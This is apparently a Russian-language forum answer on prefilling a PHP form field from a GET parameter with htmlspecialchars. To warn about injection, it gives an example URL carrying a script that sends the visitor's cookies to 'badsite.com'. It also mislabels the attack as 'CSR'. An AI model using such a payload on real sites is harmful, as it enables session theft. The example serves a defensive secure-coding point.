Ну, используя php, что-то вроде
<input type="text" name="name" value="<?php echo ((isset($_GET["name"]))?htmlspecialchars($_GET["name"]):""); ?>" />
Я не уверен, как разобрать переменные get, используя javascript ..
Кроме того, не забудьте добавить htmlspecialchars, чтобыпредотвратить атаки CSR.Если кто-то запустит что-то вроде: http://example.com/form.php?name="><script>document.location.href = "http://badsite.com?cookies="+document.cookie;</script><class id="
Может плохо получиться (просто пример, не уверен, работает ли он).